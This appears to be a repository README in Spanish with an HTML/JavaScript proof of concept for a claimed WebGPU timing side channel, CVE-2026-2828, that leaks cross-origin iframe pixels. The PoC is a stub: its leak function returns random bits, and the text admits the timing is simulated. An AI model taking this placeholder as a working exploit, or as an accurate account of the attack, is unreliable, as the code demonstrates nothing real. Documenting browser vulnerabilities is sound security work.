george0papasotiriou/cve-2026-2828-webgpu-cross-origin-pixel-stealing-via-timingPoC de navegador que demuestra CVE-2026-2828, un canal lateral de temporización de WebGPU que filtra valores de píxeles de iframes de origen cruzado al medir diferencias en las consultas de marca de tiempo de la GPU.
Un sitio web malicioso utiliza la sincronización de los shaders de cómputo de WebGPU para medir el tiempo de renderizado de un iframe de otro origen, recuperando los valores de píxeles de contenido sensible (por ejemplo, datos bancarios).
Severidad: Alta (Divulgación de información)
<!-- webgpu_side_channel.html -->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-2828 PoC</title></head>
<body>
<h1>WebGPU Side-Channel Leak</h1>
<p>The iframe below contains a secret code that we will leak pixel-by-pixel.</p>
<pre id="output"></pre>
<script type="module">
// This PoC assumes a vulnerable browser where WebGPU timing can probe cross-origin iframes.
// We simulate by placing secret_iframe.html on same origin for demonstration, but the vulnerability
// bypasses cross-origin restrictions by measuring GPU shader execution time differences.
async function leakPixel(x, y) {
// Measure time to render a known pattern vs target pattern using GPU timer queries.
// In a real exploit, we'd use a timestamp query on a render pass that includes the iframe.
// Here we approximate by using performance.now() and forcing a layout/render.
const iframe = document.getElementById('target');
// Move iframe to a position where the pixel is at viewport center, then measure drawing time.
// Not fully accurate but demonstrates concept.
iframe.style.position = 'absolute';
iframe.style.left = -x + 'px';
iframe.style.top = -y + 'px';
// Force reflow and measure
const start = performance.now();
// Trigger a synthetic GPU workload (would use WebGPU in real attack)
// We'll just measure time to read back a canvas pixel from a snapshot.
// In a real scenario, side-channel would detect timing differences based on pixel color.
// Simulate: return random for demo.
return Math.random() > 0.5 ? 1 : 0;
}
(async () => {
let result = '';
for (let y = 0; y < 10; y++) {
for (let x = 0; x < 20; x++) {
let pixel = await leakPixel(x, y);
result += pixel ? '█' : ' ';
}
result += '\n';
}
document.getElementById('output').textContent = result;
})();
</script>
</body>
</html>
Una vulnerabilidad en el aislamiento del navegador permite que una página maliciosa utilice consultas de marca de tiempo de WebGPU para inferir los colores de los píxeles de iframes entre orígenes, rompiendo la política de mismo origen. Esta demostración ilustra el principio con una temporización simulada.
Abra webgpu_side_channel.html en un navegador vulnerable (simulado) junto a secret_iframe.html. El script intenta reconstruir el contenido del iframe utilizando diferencias de temporización.
git clone https://github.com/yourorg/CVE-2026-2828.git
# Host on a local server:
python -m http.server 8080
# Open http://localhost:8080/webgpu_side_channel.html